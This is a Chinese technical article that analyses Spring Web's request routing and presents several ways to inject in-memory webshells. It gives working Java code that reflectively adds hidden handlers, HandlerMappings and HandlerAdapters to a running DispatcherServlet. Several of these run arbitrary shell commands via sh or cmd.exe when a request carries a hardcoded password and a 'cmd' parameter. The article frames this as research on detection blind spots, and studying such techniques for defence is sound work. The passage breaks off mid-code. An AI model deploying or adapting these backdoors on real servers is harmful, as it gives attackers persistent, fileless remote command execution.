• 一、前言
• 二、路由分析
• 2.1 获取HandlerExecutionChain
• 2.2 获取HandlerAdapter
• 2.3 执行
• 2.4 路由俯瞰图
• 三、变型
• 3.1 获取DispatcherServlet对象
• 3.2 向HandlerMapping添加Handler
• HandlerMethodShell
• ControllerHandlerShell
• HttpRequestHandlerShell
• ServletHandlerShell
• HandlerFunctionShell
• 3.3 自定义Handler.*相关属性
• HandlerMappingShell
• HandlerAdapterShell
• 3.4 修改路由处理过程的其他属性
• hook DispatcherServlet.MultipartResolver
• 四、总结
一、前言
业界公开的Spring内存马,主要分为两类:Controller型内存马和Interceptor类内存马。
其中实现Controller型内存马注入的代码如下,注入的核心逻辑是找到和路由分发功能有关的RequestMappingHandlerMapping对象,然后通过调用其registerMapping方法,动态添加路由及其对应的handler。
`public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {`` ` `WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);` `AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);` `Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");` `method.setAccessible(true);` `Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);` `Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");` `field.setAccessible(true);` `Map urlLookup = (Map) field.get(mappingRegistry);` `Iterator urlIterator = urlLookup.keySet().iterator();` `while (urlIterator.hasNext()){` `String urlPath = (String) urlIterator.next();` `if (this.injectUrlPath.equals(urlPath)){` `System.out.println("URL已存在");` `return;` `}` `}` `Method method2 = InjectToController.class.getMethod("test");` `PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath);` `RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();` `RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);` `InjectToController injectToController = new InjectToController("aaa");` `mappingHandlerMapping.registerMapping(info, injectToController, method2);``}`
interceptor型内存马的注入代码如下,注入的核心逻辑同样是先找到RequestMappingHandlerMapping对象,然后获取其从AbstractHandlerMapping父类继承的adaptedInterceptors属性,一个负责维护拦截器链的List,然后实现一个HandlerInterceptor加入List中。
`public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {` `WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");` `java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");` `field.setAccessible(true);` `java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);` `// 避免重复添加` `for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {` `if (adaptedInterceptors.get(i) instanceof TestInterceptor) {` `System.out.println("已经添加过TestInterceptor实例了");` `return;` `}` `}`` ` `TestInterceptor aaa = new TestInterceptor("aaa");``adaptedInterceptors.add(aaa);` `}`
不难发现,目前对于Spring内存马注入的一个重要对象是RequestMappingHandlerMapping,相应地,笔者看到很多文章和论文对于Spring内存马的查杀、防护,重点都是在分析RequestMappingHandlerMapping类。
但实际上,SpringWeb的路由处理核心并不在RequestMappingHandlerMapping,该类只是HandlerMapping的其中一种实现。
下面先分析SpringWeb的路由分发过程,然后给出几种不一样的Spring内存马注入点。
SpringWeb的路由处理入口是DispatcherServlet,其继承关系如下所示(仅列出部分方法)。
Servlet是通过service()方法开始接入的,从图中可以看出,如果要从Spring接管路由开始分析,则应该以FrameworkServlet#service作为起点。不过这里跳过前面的调用过程,跳到DispatcherServlet#doDispatch方法开始,该方法其实分为四个部分:
第一部分:通过getHandler()方法获取HandlerExecutionChain
第二部分:通过getHandlerAdapter()方法获取HandlerAdapter
第三部分:执行,包括执行interceptorList,以及执行handler
第四部分:设配执行结果并返回
`protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {` `...` `try {` `...` `try {` `// 解析multipart请求,非multipart请求会原样返回` `HttpServletRequest processedRequest = checkMultipart(request);` `multipartRequestParsed = (processedRequest != request);`` ` `// part1: 获取HandlerExecutionChain` `HandlerExecutionChain mappedHandler = getHandler(processedRequest);` `if (mappedHandler == null) {` `noHandlerFound(processedRequest, response);` `return;` `}`` ` `// part2: 获取HandlerAdapter` `HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());` `...` ` ` `// part3:执行` ` if (!mappedHandler.applyPreHandle(processedRequest, response)) {` `return;` `}`` ` `ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());` `...`` ` `applyDefaultViewName(processedRequest, mv);` `mappedHandler.applyPostHandle(processedRequest, response, mv);` `}` `catch (Exception ex) {` `...` `}`` ` `// part4: 将执行结果,也就是ModelAndView映射到response` `processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);` `}` `catch (Throwable ex) {` `...`` }` `finally {` `...` `}``}`
这里重点对前面三部分展开进一步分析。
handler:对应的其实就是业务处理类,大家常说的Controller,其实是Handler的一种,Handler本质上是不限定类型的。
interceptorList:拦截器链,保存了最终要执行的拦截链。
接着进一步分析getHandler方法
`protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {` `if (this.handlerMappings != null) {` `for (HandlerMapping mapping : this.handlerMappings) {` `HandlerExecutionChain handler = mapping.getHandler(request);` `if (handler != null) {` `return handler;` `}` `}` `}` `return null;``}`
可以看到这过程是通过HandlerMapping做的,DispatchServlet的handlerMappings属性有多个HandlerMapping。HndlerMapping有多个实现类,前面提到的RequestMappingHandlerMapping是其中之一, 下图是HandlerMapping家族。
注:在SpringMVC中,DispatcherServlet的handlerMappings默认只创建了两个HandlerMapping:RequestMappingHandlerMapping、BeanNameUrlHandlerMapping
HandlerMapping一共有五个默认的实现类,不同的实现类对应了不同的handler注册方式。
例如我们常用的@Controller注解+@RequestMapping注解的方式来注册handler,对应的HandlerMapping是RequestMappingHandlerMapping,而最终生成的handler类型则是HandlerMethod。
`@Controller``@RequestMapping("/ctest")``public class ctest {`` ` `@PostMapping("/index")` `@ResponseBody` `public String index(){` `System.out.println("welcome to springmvc");` `return "ctest";` `}``}`
如果beanName以/开头,则也会被Spring解析成处理路由的Handler,如下代码,则对应HandlerMapping是BeanNameUrlHandlerMapping,而Handler就是Controller(取决于bean实现了哪个接口)。
`@Component("/*")``public class DefaultController implements Controller {` `@Override` `public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {` `ModelAndView modelAndView = new ModelAndView();` `modelAndView.addObject("content","bean");` `modelAndView.setViewName("bean");` `return modelAndView;` `}``}`
RouterFunctionMapping一般用于WebFlux的路由分发,而PathPatternMatchableHandlerMapping的getHandler方法是通过属性delegate实现的,本质上只做类似代理的功能,因此这两个就不展开分析了。
分析不同实现过程比较冗长,这里仅给出一些结论:
注册方式
handler
handlerMapping
@*Mapping注解
HandlerMethod
RequestMappingHandlerMapping
注册bean,beanName以/开头
Controller
(bean实现Controler接口)
默认:BeanNameUrlHandlerMapping
手动注册:SimpleUrlHandlerMapping
Servlet
(bean实现Servlet接口)
HttpRequestHandler
(bean实现HttpRequestHandler接口)
也就是说,不同方式来注册"特定路由的处理类",会生成不同类型的Handler对象,不同的Handler对象由不同的HandlerMapping对象管理。
当请求进入后,DispatchServlet会遍历自身所有HandlerMapping,找到对应的Handler。
HandlerMapping的核心就在于找到对应的Handler,然后将Handler封装成HandlerExecutionChain对象,还记得HandlerExecutionChain的两个属性吗?handler+interceptorList,其实封装HandlerExecutionChain的过程,就是添加拦截链的过程,这个过程其实是在上层的抽象类AbstractHandlerMapping实现的,不同的HandlerMapping添加拦截链的过程是一样的,不过的是寻找Handler的过程,以及Handler的类型。
此外需要注意的是,不同HandlerMapping是有优先级的,优先级就体现在DispatcherServlet.handlerMappings中的顺序,优先级如下:
RequestMappingHandlerMapping:处理注解生成的路由
BeanNameUrlHandlerMapping:默认处理bean配置生成的路由
SimpleUrlHandlerMapping:显式使用SimpleUrlHandlerMapping注册路由
只要在前一类HandlerMapping找到了路由处理类,就不会再进入下一个HandlerMapping。
例如在BeanNameUrlHandlerMapping配置了一个DefaultHandler,那么无论什么路由都走不到SimpleUrlHandlerMapping,SimpleUrlHandlerMapping配置的所有路由都相当于失效了。
<bean name="/*" class="controller.DefaultController"></bean>
对于从Handler到HandlerExecutionChain的这一段,不展开分析,大体上可以认为:
如果Handler本身就是一个HandlerExecutionChain,那么将本身的属性复制过来,再额外添加公共的拦截链即可。(对于部分Handler,会再一开始就是生成对应的HandlerExecutionChain)
如果Handler不是一个HandlerExecutionChain,那么就创建一个新的HandlerExecutionChain,再额外添加公共的拦截链。
可以简单地看作,HandlerExecutionChain=Handler+interceptorList
DispatcherServlet#getHandlerAdapter()方法最终返回一个HandlerAdapter对象。
`protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {` `if (this.handlerAdapters != null) {` `for (HandlerAdapter adapter : this.handlerAdapters) {` `if (adapter.supports(handler)) {` `return adapter;` `}` `}` `}` `throw new ServletException("No adapter for handler [" + handler +` `"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");``}`
HandlerAdapter最终的作用就是执行Handler的最终方法,前面说到,Handler本身是不限制类型的。
这些不同类型的handler怎么找到调用的入口方法,以及为不同方法传参呢?这就是HandlerAdapter的作用。
`public interface HandlerAdapter {` ` boolean supports(Object handler);` ` @Nullable` `ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;` ` @Deprecated` `long getLastModified(HttpServletRequest request, Object handler);`` ``}`
HandlerAdapter"家族成员"的分布如下:
注:在SpringMVC中,DispatcherServlet的handlerAdapters默认创建了三个HandlerAdapter:RequestMappingHandlerAdapter 、HttpRequestHandlerAdapter、SimpleControllerHandlerAdapter
进一步分析各个HandlerAdapter的supports方法,可以看出其支持的handler,关系如下:
RequestMappingHandlerAdapter => HandlerMethod
HttpRequestHandlerAdapter => HttpRequestHandler
SimpleControllerHandlerAdapter => Controller
SimpleServletHandlerAdapter => Servlet
HandlerFunctionAdapter => HandlerFunction
回顾一下执行部分的代码,其实执行又可以细分为三小步,见注释所示。
`// 1. 执行拦截器链的preHandle方法``if (!mappedHandler.applyPreHandle(processedRequest, response)) {` `return;``}`` ``// 2. 执行HandlerAdapter的handle方法``ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());``...`` ``applyDefaultViewName(processedRequest, mv);``// 3. 执行拦截器链的postHandle方法``mappedHandler.applyPostHandle(processedRequest, response, mv);`
关于拦截器链的这一部分,对于所有Handler都是一致的:
先按顺序调用所有interceptor的preHandle方法,如果中间有一个方法返回了false,则倒序调用已执行过的interceptor的afterCompletion方法。然后直接返回。
等待HandlerAdapter的handle方法,倒序调用所有interceptor的postHandle方法。然后再倒序调用已执行过的interceptor的afterCompletion方法。
前面提到,HandlerAdapter的作用就是为对应handler怎么找到调用的入口方法,并设配入参。其handle方法的原型如下,本身的入参一共有三个。
ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;
这里挑一个最简单的SimpleControllerHandlerAdapter来观察其handle方法的实现。
`public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {` `return ((Controller) handler).handleRequest(request, response);``}`
直接调用对应Controler的handleRequest方法,并传入request和response对象。这和Controller的接口定义是一致的。
`public interface Controller {` `@Nullable` `ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception;`` ``}`
当然,如果Handler的类型是HandlerMehtod,对应的设配器就是RequestMappingHandlerAdapter,情况就会复杂一些,毕竟入参不定,方法名也不定,Spring通过反射来实现了这些功能。不过RequestMappingHandlerAdapter分析不是今天的重点,只需要知道HandlerAdapter和Handler是如何运作的即可。
以上就是SpringWeb路由分发的过程,可以总结为一张图:
通过上一章对SpringWeb路由分发的分析,很容易可以看到,现在公开注入内存马的方式,也就是使用RequestMappingHandlerMapping类,只是HandlerMapping的一种。在SpringWeb的路由处理过程中,还有多个注入点。
前面提到,DispatcherServlet才是路由处理的核心,无论是HandlerMapping,还是HandlerAdapter,都是DispatcherServlet的属性之一。如果能拿到DispatcherServlet,通过反射修改其属性,将大大增加内存马的注入范围。
SpringBoot可以直接在WebApplicationContext中拿到
`AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);``servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");`
但在纯SpringMVC的应用中,DispatcherServlet并没有默认注册到webApplicationContext。这里通过调试,找到了一种新方法适用于SpringMVC:
最终获取方法如下:
`public class Util {` ` public DispatcherServlet getServlet(){` `AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `DispatcherServlet servlet = null;`` ` `try {` `servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");` `}catch (Exception e1){` `try {` `for (ApplicationListener applicationListener:webApplicationContext.getApplicationListeners()) {` `if (applicationListener instanceof SourceFilteringListener) {` `GenericApplicationListenerAdapter gl = (GenericApplicationListenerAdapter) getFieldValue(applicationListener, "delegate");` `Object delegate = getFieldValue(gl, "delegate");` `if (delegate.getClass().getName().equals("org.springframework.web.servlet.FrameworkServlet$ContextRefreshListener")) {` `servlet = (DispatcherServlet) getFieldValue(delegate, "this$0");` `}` `}` `}` `}catch (Exception e2){` `e2.printStackTrace();` `}` `}` `return servlet;` `}`` ` `public static Field getField(Class clazz, String fieldName) {` `try {` `Field field = clazz.getDeclaredField(fieldName);` `field.setAccessible(true);` `return field;` `}catch (Exception e){` `return null;` `}` `}`` ` `public static Object getFieldValue(Object obj,String fieldName) throws IllegalAccessException {` `Class clazz = obj.getClass();` `Field targetField = getField(clazz,fieldName);` `while (targetField==null && clazz!=Object.class){` `clazz = clazz.getSuperclass();` `targetField = getField(clazz,fieldName);` `}` `if(targetField!=null){` `return targetField.get(obj);` `}` `return null;` `}``}`
HandlerMapping几乎可以看作SpringWeb路由分发的第一个入口,并且所有HandlerMapping都直接注册到了WebApplicationContext,可以直接在WebApplicationContext中拿到,因此可以通过向已有的HandlerMapping添加Handler实现内存马。
也就是业界所提的"Spring Controller"型内存马,其实个人更愿意将其称为HandlerMethod型内存马,因为最终创建的Handler类型是HandlerMethod。
从SpringWeb 4.2.0.RELEASE版本开始,requestMappingHandlerMapping的父类AbstractHandlerMethodMapping提供了registerMapping方法注册,因此不需要自己去构造HandlerMethod对象。
`public class HandlerMethodShell {`` ` `public String injecShell() throws Exception {` `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);`` ` `Method method = HandlerMethodShell.class.getMethod("shell");` `RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();` `RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) Util.getFieldValue(requestMappingHandlerMapping,"config");` `RequestMappingInfo info = RequestMappingInfo.paths("/shell1").options(config).build();` `Object handler = new HandlerMethodShell();` `requestMappingHandlerMapping.registerMapping(info, handler, method);`` ` `return "{\"result\":\"injectHandlerMethodShell\"}";` `}`` ` `public void shell() throws Exception {` `HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();` `HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();` `...` `}``}`
实现Controller接口,通过反射添加到BeanNameUrlHandlerMapping
Controller默认对应的是SimpleControllerHandlerAdapter,默认存在,因此不需要手动添加。
`public class ControllerHandlerShell implements Controller {`` ` `public String injectShell() throws Exception{` `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);` `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");` `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");` `field.setAccessible(true);` `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);` `handlerMap.put("/shell2",new ControllerHandlerShell());` `return "{\"result\":\"injectControllerHandlerShell\"}";` `}`` ` `@Override` `public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {` `...` `}``}`
实现HttpRequestHandler接口,通过反射添加到BeanNameUrlHandlerMapping。
除了Controller,HttpRequestHandler也是Spring内置的一种handler类型。并且对应的HttpRequestHandlerAdapter也是默认存在的。
`public class HttpRequestHandlerShell implements HttpRequestHandler {`` ` `public String injectShell() throws Exception{` `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);` `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");` `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");` `field.setAccessible(true);` `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);` `handlerMap.put("/shell3",new HttpRequestHandlerShell());` `return "{\"\result\":\"injectHttpRequestHandlerShell\"}";` `}`` `` ` `@Override` `public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {` `...` `}`` ``}`
实现一个Servlet类,通过反射添加到BeanNameUrlHandlerMapping。
注意这里虽然是Servlet,但实际上是作为一个Handler添加的,在DispatcherServlet后接入。对应的是SimpleServletHandlerAdapter,这个HandlerAdapter并不是默认就创建的,因此需要考虑手工添加的情况。
`public class ServletHandlerShell extends HttpServlet {`` ` `public String injectShell() throws Exception{` `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);` `// 添加handlerAdapter` `DispatcherServlet servlet = new Util().getServlet();` `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");` `boolean hasSimpleServletHandlerAdapter = false;` `for(HandlerAdapter adapter:handlerAdapters){` `if(adapter instanceof SimpleServletHandlerAdapter){` `hasSimpleServletHandlerAdapter = true;` `break;` `}` `}` `if(!hasSimpleServletHandlerAdapter){` `handlerAdapters.add(new SimpleServletHandlerAdapter());` `}`` ` `// 添加handler` `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");` `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");` `field.setAccessible(true);` `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);` `handlerMap.put("/shell4",new ServletHandlerShell());` `return "{\"\result\":\"injectServletHandlerShell\"}";` `}`` ` `@Override` `protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {` `...` `}`` ``}`
前面说到,RouterFunctionMapping一般用于WebFlux的路由处理,但实际上在SpringWeb中也是可以使用的,SpringBoot也默认创建了一个RouterFunctionMapping。
RouterFunctionMapping通过自身另外一个属性RouterFunction来获取的Handler对象,默认类型为HandlerFunction,对应的Adapter是HandlerFunctionAdapter。
如下是RouterFunctionMapping获取Handler的过程。
`protected Object getHandlerInternal(HttpServletRequest servletRequest) throws Exception {` `if (this.routerFunction != null) {` `ServerRequest request = ServerRequest.create(servletRequest, this.messageConverters);` `HandlerFunction<?> handlerFunction = this.routerFunction.route(request).orElse(null);` `setAttributes(servletRequest, request, handlerFunction);` `return handlerFunction;` `}` `else {` `return null;` `}``}`
如果需要添加一个HandlerFunction来作为内存马,就需要Hook RouterFunctionMapping的routerFunction。
`public class HandlerFunctionShell implements HandlerFunction {`` ` `@RequestMapping("/injectRouteFunctionHandlerDelegateShell")` `public String injectRouteFunctionHandlerShell() throws Exception{` `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);` `DispatcherServlet servlet = new Util().getServlet();` `// 如果未添加HandlerFunctionAdapter,则主动添加` `try {` `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");` `boolean hasHandlerFunctionAdapter = false;` `for(HandlerAdapter adapter:handlerAdapters){` `if(adapter instanceof HandlerFunctionAdapter){` `hasHandlerFunctionAdapter = true;` `break;` `}` `}` `if(!hasHandlerFunctionAdapter){` `handlerAdapters.add(new HandlerFunctionAdapter());` `}` `}catch (Exception e){` `e.printStackTrace();` `}`` ` `// 如果未注册RouteFuntion,则主动注册,否则hook其RouterFunction` `List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");` `boolean hasRouterFunctionMapping = false;` `RouterFunctionMapping routerFunctionMapping = null;` `for(HandlerMapping handlerMapping: handlerMappings){` `if(handlerMapping instanceof RouterFunctionMapping){` `routerFunctionMapping = (RouterFunctionMapping) handlerMapping;` `hasRouterFunctionMapping = true;` `break;` `}` `}` `if(!hasRouterFunctionMapping){` `routerFunctionMapping = new RouterFunctionMapping();` `handlerMappings.add(routerFunctionMapping);` `}` `// hook Funtion` `if(routerFunctionMapping != null){` `RouterFunction routerFunction = (RouterFunction) Util.getFieldValue(routerFunctionMapping,"routerFunction");` `RouterFunctionDelagate functionDelagate = new RouterFunctionDelagate(routerFunction);` `routerFunctionMapping.setRouterFunction(functionDelagate);` `}`` ` `return "{\"\result\":\"injectRouteFunctionHandlerDelegateShell\"}";` `}`` ` `@Override` `public ServerResponse handle(ServerRequest request) throws Exception {` `boolean islinux = true;` `String osType = System.getProperty("os.name");` `if (osType !=null && osType.toLowerCase().contains("win")){` `islinux = false;` `}` `String cmd = request.param("cmd").get();` `System.out.println("cmd: " + cmd);` `String[] cmds = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};` `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();` `Scanner s = new Scanner(in).useDelimiter("\\A");` `String output = s.hasNext() ? s.next() : "";`` `` ` `return ServerResponse.status(HttpStatus.OK).contentType(MediaType.TEXT_PLAIN).body(output);` `}` ` class RouterFunctionDelagate<T extends ServerResponse> implements RouterFunction {`` ` `RouterFunction delegate;` `HandlerFunctionShell handlerFunctionShell;`` ` `public RouterFunctionDelagate(RouterFunction delegate){` `this.delegate = delegate;` `this.handlerFunctionShell = new HandlerFunctionShell();` `}`` ` `@Override` `public Optional<HandlerFunction> route(ServerRequest request) {` `try {` `String cmd = request.param("cmd").get();` `String passwd = request.param("mypasswd").get();` `System.out.println("passwd: " + passwd);` `System.out.println("cmd: " + cmd);` `if(passwd!=null && cmd !=null & passwd.equals("ape1ron")){` `return Optional.of(this.handlerFunctionShell);` `}` `}catch (Exception e){`` ` `}` `if (delegate==null){` `return Optional.empty();` `}` `return delegate.route(request);` `}`` ` `@Override` `public RouterFunction and(RouterFunction other) {` `if (delegate==null){` `return null;` `}` `return delegate.and(other);` `}`` `` ` `@Override` `public RouterFunction andOther(RouterFunction other) {` `if (delegate==null){` `return null;` `}` `return this.delegate.andOther(other);` `}`` ` `@Override` `public RouterFunction andRoute(RequestPredicate predicate, HandlerFunction handlerFunction) {` `if (delegate==null){` `return null;` `}` `return this.delegate.andRoute(predicate,handlerFunction);` `}`` `` ` `@Override` `public RouterFunction andNest(RequestPredicate predicate, RouterFunction routerFunction) {` `if (delegate==null){` `return null;` `}` `return this.delegate.andNest(predicate,routerFunction);` `}`` ` `@Override` `public RouterFunction filter(HandlerFilterFunction filterFunction) {` `if (delegate==null){` `return null;` `}` `return this.delegate.filter(filterFunction);` `}`` ` `@Override` `public RouterFunction withAttribute(String name, Object value) {` `if (delegate==null){` `return null;` `}` `return this.delegate.withAttribute(name,value);` `}`` ` `@Override` `public RouterFunction withAttributes(Consumer attributesConsumer) {` `if (delegate==null){` `return null;` `}` `return this.delegate.withAttributes(attributesConsumer);` `}` `}``}`` `
前面已经找到了获取DispatcherServlet对象的方法,因此除了向已有的HandlerMapping添加Handler外,还可以直接注册HandlerMapping、或者是HandlerAdapter等对象,也可以实现接管路由的功能,实现内存马。
通过前面的路由分析可以知道,DispatcherServlet会遍历调用其handlerMappings属性保存的HandlerMapping的getHandler方法。因此可以实现一个自定义的HandlerMapping,让其返回我们自定义的Handler。
Handler本身就可以作为任意类型,要正常被调用,还需要一个HandlerAdapter配合,才能正常调用。如下分别实现了自定义的:HandlerMapping+Handler+HandlerAdapter来注入内存马。
注意,实际判断路由是否由自定义的HandlerMapping处理,是在getHandler()方法,这里可以匹配任意路由,通过了判断参数的mypasswd和cmd来作为判断条件,因此也可以实现复用正常的请求路径。
`public class HandlerMappingShell implements HandlerMapping {` `HandlerExecutionChain chain;`` ` `public String injectShell() throws Exception{` `DispatcherServlet servlet = new Util().getServlet();` `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");` `handlerAdapters.add(new HandlerMappingShell.MyHandlerAdapter());` `List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");` `handlerMappings.add(0,new HandlerMappingShell());` `return "{\"result\":\"HandlerMappingShell\"}";` `}`` ` `public HandlerMappingShell(){` `chain = new HandlerExecutionChain(new HandlerMappingShell.MyHandler());` `}`` ` `@Override` `public HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {` `String passwd = request.getParameter("mypasswd");` `String cmd = request.getParameter("cmd");` `if(passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){` `return chain;` `}` `return null;` `}`` ` `class MyHandler{` `public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException {` `if (request.getParameter("cmd") !=null){` `boolean islinux = true;` `String osType = System.getProperty("os.name");` `if (osType !=null && osType.toLowerCase().contains("win")){` `islinux = false;` `}` `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};` `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();` `Scanner s = new Scanner(in).useDelimiter("\\A");` `String output = s.hasNext() ? s.next() : "";` `response.getWriter().write(output);` `response.getWriter().flush();` `response.getWriter().close();` `}` `}` `}`` ` `class MyHandlerAdapter implements HandlerAdapter{`` ` `@Override` `public boolean supports(Object handler) {` `return handler instanceof HandlerMappingShell.MyHandler;` `}`` ` `@Override` `public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {` `((HandlerMappingShell.MyHandler)handler).handle(request,response);` `return null;` `}`` ` `@Override` `public long getLastModified(HttpServletRequest request, Object handler) {` `return 0;` `}` `}``}`
上面实现了三个对象来定制了一条完整的路由,但实际上最终执行是由HandlerAdapter决定,因此实现HandlerAdapter也能达成目的。
实现一个自定义的HandlerAdapter,并放置于DispatcherServlet.handlerAdapters列表的首位。通过自定义HandlerAdapter来hook其他所有HandlerAdapter。
`public class HandlerAdapterShell implements HandlerAdapter{`` ` `List<HandlerAdapter> handlerAdapters;`` ` `public String injectShell() throws Exception{` `DispatcherServlet servlet = new Util().getServlet();` `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");` `handlerAdapters.add(0,new HandlerAdapterShell(handlerAdapters));`` ` `return "{\"result\":\"HandlerAdapterShell\"}";` `}`` ` `public HandlerAdapterShell(List<HandlerAdapter> handlerAdapters){` `this.handlerAdapters = handlerAdapters;` `}`` ` `@Override` `public boolean supports(Object handler) {` `return true;` `}`` ` `@Override` `public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {` `String passwd = request.getParameter("mypasswd");` `String cmd = request.getParameter("cmd");` `if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){` `boolean islinux = true;` `String osType = System.getProperty("os.name");` `if (osType !=null && osType.toLowerCase().contains("win")){` `islinux = false;` `}` `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};` `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();` `Scanner s = new Scanner(in).useDelimiter("\\A");` `String output = s.hasNext() ? s.next() : "";` `response.getWriter().write(output);` `response.getWriter().flush();` `response.getWriter().close();` `return null;` `}` `// 重新找到适配的handlerAdpapter,相当于做了一层代理` `for(HandlerAdapter handlerAdapter:this.handlerAdapters){` `if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){` `return handlerAdapter.handle(request,response,handler);` `}` `}`` ` `return null;` `}`` ` `@Override` `public long getLastModified(HttpServletRequest request, Object handler) {` `for(HandlerAdapter handlerAdapter:this.handlerAdapters){` `if(!(handlerAdapter 